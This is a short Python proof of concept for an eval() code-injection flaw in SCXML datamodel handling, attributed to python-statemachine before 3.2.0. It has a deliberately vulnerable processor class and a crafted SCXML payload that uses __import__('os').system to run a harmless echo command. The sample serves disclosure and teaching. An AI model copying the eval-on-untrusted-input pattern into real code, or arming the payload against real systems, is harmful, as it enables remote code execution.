Vulnerable code sample

import xml.etree.ElementTree as ET
import os

class SCXMLProcessor:
    """
    This is a simplified representation of the vulnerable component
    from python-statemachine versions prior to 3.2.0.
    """
    def process_scxml(self, scxml_string: str):
        """
        Parses an SCXML string and processes its datamodel.
        """
        root = ET.fromstring(scxml_string)
        # Find all <data> elements within the <datamodel>.
        data_elements = root.findall('.//datamodel/data')

        for element in data_elements:
            # The vulnerability exists here.
            if 'expr' in element.attrib:
                # The 'expr' attribute's content is taken from the XML file
                # and executed directly by Python's eval() function without
                # any sanitization or sandboxing.
                expression = element.attrib.get('expr')
                eval(expression)

if __name__ == '__main__':
    # This SCXML document is crafted by an attacker to exploit the vulnerability.
    # The payload uses __import__ to gain access to the 'os' module and then
    # calls 'os.system' to run an arbitrary command.
    malicious_scxml = """<?xml version="1.0" encoding="UTF-8"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
  <datamodel>
    <data expr="__import__('os').system('echo RCE Triggered via CVE-2026-47103')"/>
  </datamodel>
  <state id="main">
    <onentry>
      <log expr="'Machine started'"/>
    </onentry>
  </state>
</scxml>
"""
    print("Simulating a server processing a user-supplied SCXML document...")
    
    # In a real-world scenario, an application would receive this SCXML
    # from a remote, untrusted source and process it.
    vulnerable_processor = SCXMLProcessor()
    vulnerable_processor.process_scxml(malicious_scxml)
    
    print("Processing complete.")